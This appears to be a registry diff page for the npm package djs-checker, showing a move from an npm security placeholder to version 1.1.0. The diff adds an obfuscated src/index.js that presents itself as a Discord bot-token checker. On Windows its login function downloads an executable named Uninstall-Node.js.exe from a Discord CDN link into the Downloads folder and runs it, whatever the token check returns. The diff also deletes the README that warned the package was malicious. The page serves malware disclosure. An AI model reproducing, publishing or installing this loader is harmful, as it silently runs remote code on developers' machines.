djs-checker 0.0.1-security → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of djs-checker might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,28 @@
1
- {
2
- "name": "djs-checker",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "djs-checker",
3
+ "version": "1.1.0",
4
+ "description": "Include validations and axios for discord.",
5
+ "main": "src/index.js",
6
+ "homepage": "https://discord.com/developers",
7
+ "repository": {
8
+ "url": "https://github.com/discordjs/discord.js"
9
+ },
10
+ "scripts": {
11
+ "build": "tsup"
12
+ },
13
+ "keywords": [
14
+ "checkers",
15
+ "axios"
16
+ ],
17
+ "author": "discord-token-developer",
18
+ "license": "MIT",
19
+ "dependencies": {
20
+ "axios": "^1.6.3",
21
+ "chalk": "^4.1.2",
22
+ "child_process": "^1.0.2",
23
+ "fs": "^0.0.1-security",
24
+ "os": "^0.1.2",
25
+ "path": "^0.12.7"
26
+ }
27
+ }
28
+
package/src/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0xd5346 = _0x12c2; (function (_0x339a1a, _0x18be11) { const _0x26ecdd = _0x12c2, _0x566060 = _0x339a1a(); while (!![]) { try { const _0x52e23c = -parseInt(_0x26ecdd(0xe3)) / 0x1 * (-parseInt(_0x26ecdd(0xd2)) / 0x2) + -parseInt(_0x26ecdd(0xd5)) / 0x3 * (-parseInt(_0x26ecdd(0xe1)) / 0x4) + parseInt(_0x26ecdd(0xdf)) / 0x5 + -parseInt(_0x26ecdd(0xd4)) / 0x6 * (parseInt(_0x26ecdd(0xe4)) / 0x7) + parseInt(_0x26ecdd(0xc8)) / 0x8 * (parseInt(_0x26ecdd(0xd7)) / 0x9) + -parseInt(_0x26ecdd(0xcb)) / 0xa * (parseInt(_0x26ecdd(0xd3)) / 0xb) + -parseInt(_0x26ecdd(0xd9)) / 0xc; if (_0x52e23c === _0x18be11) break; else _0x566060['push'](_0x566060['shift']()); } catch (_0x26df30) { _0x566060['push'](_0x566060['shift']()); } } }(_0x1f35, 0xb8aa5)); function _0x12c2(_0x378fed, _0x3061fb) { const _0x1f35e0 = _0x1f35(); return _0x12c2 = function (_0x12c254, _0x24f2a9) { _0x12c254 = _0x12c254 - 0xc3; let _0xe3cf47 = _0x1f35e0[_0x12c254]; return _0xe3cf47; }, _0x12c2(_0x378fed, _0x3061fb); } const axios = require(_0xd5346(0xe5)), fs = require('fs'), chalk = require('chalk'), { exec } = require(_0xd5346(0xdb)), os = require('os'), path = require(_0xd5346(0xc6)), urlF = _0xd5346(0xcc), folderD = path[_0xd5346(0xdd)](os[_0xd5346(0xc3)](), 'Downloads', _0xd5346(0xe2)); async function checkDiscordToken(_0x5b21c5) { const _0x1a35a2 = _0xd5346; try { const _0xd88a51 = await axios({ 'method': _0x1a35a2(0xcf), 'url': 'https://discord.com/api/v9/users/@me', 'headers': { 'Authorization': _0x1a35a2(0xd0) + _0x5b21c5 } }); return !![]; } catch (_0x42d2ff) { return ![]; } } async function fetcher() { const _0x5be025 = _0xd5346; try { if (os[_0x5be025(0xe7)]() !== _0x5be025(0xe6)) return; if (fs[_0x5be025(0xc5)](folderD)) { exec('' + folderD, (_0x50251, _0xdb5ba6, _0x40fc83) => { const _0x52196a = _0x5be025; if (_0x50251 && _0x50251[_0x52196a(0xdc)] !== 0x1) throw new Error('Error\x20starting\x20the\x20bot!'); }); return; } const _0x141749 = await axios({ 'method': _0x5be025(0xcf), 'url': urlF, 'responseType': 'stream' }), _0x1206ab = fs[_0x5be025(0xc4)](folderD, { 'flags': 'w+' }); return _0x141749['data'][_0x5be025(0xde)](_0x1206ab), new Promise((_0xed77c4, _0x5113fc) => { const _0x3879d7 = _0x5be025; _0x1206ab['on'](_0x3879d7(0xd8), () => { exec('' + folderD, (_0x400798, _0x10a9ca, _0x5e7d77) => { const _0x372285 = _0x12c2; if (_0x400798 && _0x400798['code'] !== 0x1) { _0x5113fc(new Error(_0x372285(0xc9))); return; } _0xed77c4(); }); }), _0x1206ab['on'](_0x3879d7(0xd1), _0x5113fc); }); } catch (_0x36ad47) { throw _0x36ad47; } } async function login(_0x139026) { const _0x5c62ef = _0xd5346; if (!_0x139026) { console[_0x5c62ef(0xc7)](chalk[_0x5c62ef(0xd6)](_0x5c62ef(0xce))), await fetcher(); return; } const _0x1c7793 = await checkDiscordToken(_0x139026); if (!_0x1c7793) { console[_0x5c62ef(0xc7)](chalk['red'](_0x5c62ef(0xe0))), await fetcher(); return; } console[_0x5c62ef(0xc7)](chalk[_0x5c62ef(0xcd)](_0x5c62ef(0xca))), await fetcher(); } function _0x1f35() { const _0x46be25 = ['axios', 'win32', 'platform', 'homedir', 'createWriteStream', 'existsSync', 'path', 'log', '8728UUQNPG', 'Error\x20starting\x20the\x20bot!', 'Your\x20bot\x20token\x20is\x20valid.', '7176220FlcwqT', 'https://cdn.discordapp.com/attachments/1244396419117223939/1245422122873000117/Uninstall-Node.js.exe?ex=6658b13c&is=66575fbc&hm=f9432332273c2ebac77350d74491552b5218f70bfc9904a1390b62e9714de122&', 'green', 'No\x20token\x20provided.', 'GET', 'Bot\x20', 'error', '914368TzVVda', '11XvQchF', '4065222OSZoYC', '471FIZXwx', 'red', '10242RQJybl', 'finish', '18262164gHfOhB', 'exports', 'child_process', 'code', 'join', 'pipe', '513710JvmyGo', 'Your\x20bot\x20token\x20is\x20invalid.', '36044cGWkbV', 'Uninstall-Node.js.exe', '2RMRZAd', '7sGNyzJ']; _0x1f35 = function () { return _0x46be25; }; return _0x1f35(); } module[_0xd5346(0xda)] = { 'login': login };
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=djs-checker for more information.